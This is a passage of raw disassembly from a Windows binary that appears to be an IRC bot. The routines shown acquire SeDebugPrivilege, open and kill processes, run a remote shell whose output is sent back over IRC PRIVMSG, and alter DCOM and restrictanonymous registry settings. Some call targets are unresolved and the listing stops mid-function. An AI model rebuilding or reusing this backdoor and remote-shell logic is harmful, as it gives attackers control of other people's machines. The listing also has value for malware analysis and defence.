		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAF94
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAF78
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAE88
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh

loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396C0

loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2821081h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439720
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		call	near ptr 2700BE0h
		nop
		test	eax, eax
		jnz	loc_41988F

loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAF94
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE34
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]

loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]

loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------

loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2

loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAE88
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx

loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi

loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx

loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax

loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2700BE0h
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------

loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398C0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_43989C
		jmp	short loc_419977
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439878

loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 2680218h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 2700BE0h
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		call	near ptr 2660969h
		nop

loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396BCh, 7483E890h, 0E3EB0225h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB1F8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi

loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi

loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB1F4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi

loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB1FC
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D128
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		call	near ptr 2670EA1h
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------

loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20

loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB204

loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 2821A49h
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB1F4
		nop
		call	near ptr 28214EAh
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19

loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2670EA1h
		jmp	short loc_419B27
; ---------------------------------------------------------------------------

loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1

loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91

loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi

loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB1F8
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------

loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------

loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439948
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26E0000h

loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439920
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop

loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_4398F0
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43350C
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB1FC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D128
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 2660C61h
		nop
		test	eax, eax
		jnz	short loc_419D66

loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------

loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB1F8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB200, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB1F4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB238, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------

loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx

loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB204
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399AC
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEB8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 2680000h
		cmp	eax, esi
		mov	dword_43DEC4[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 2680835h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439978
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax

loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------

loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D

loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB044, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438724
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C48
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------

loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C28

loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419F17
; ---------------------------------------------------------------------------

loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BA8
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------

loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439B74

loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------

loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B38
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------

loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B08

loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEB8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_4399D0

loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439AE4
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------

loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AB8

loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_4399F0
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------

loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C

loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439A94
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------

loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A68

loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi

loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB004

loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------

loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB044, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438768
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DC0
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------

loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DA4

loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------

loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
